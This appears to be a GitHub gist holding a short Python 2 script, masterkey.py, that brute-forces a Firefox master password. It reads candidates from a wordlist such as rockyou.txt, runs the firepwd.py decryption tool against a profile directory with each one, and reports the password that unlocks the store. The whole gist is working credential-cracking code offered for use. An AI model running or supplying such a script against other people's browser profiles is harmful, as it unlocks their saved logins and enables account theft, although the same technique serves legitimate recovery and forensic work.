Created
November 13, 2018 11:08
-
-
Save fb11/d91f45ec3fbca153e03328db23c5097b to your computer and use it in GitHub Desktop.
masterkey.py
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| import sys | |
| from subprocess import Popen, PIPE | |
| #Usaeg python masterkey.py rockyou.txt | |
| f = open(sys.argv[1], 'r') | |
| for line in f: | |
| password = line.strip() | |
| p = Popen(['./firepwd.py','-p',password,'-d','./'], stdout=PIPE) | |
| output = p.stdout.read() | |
| if output.find('decrypting') != -1 : | |
| print "[+] master Password: " + password | |
| sys.exit(0) | |
| print "[-] Failed with Master password: " + password |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment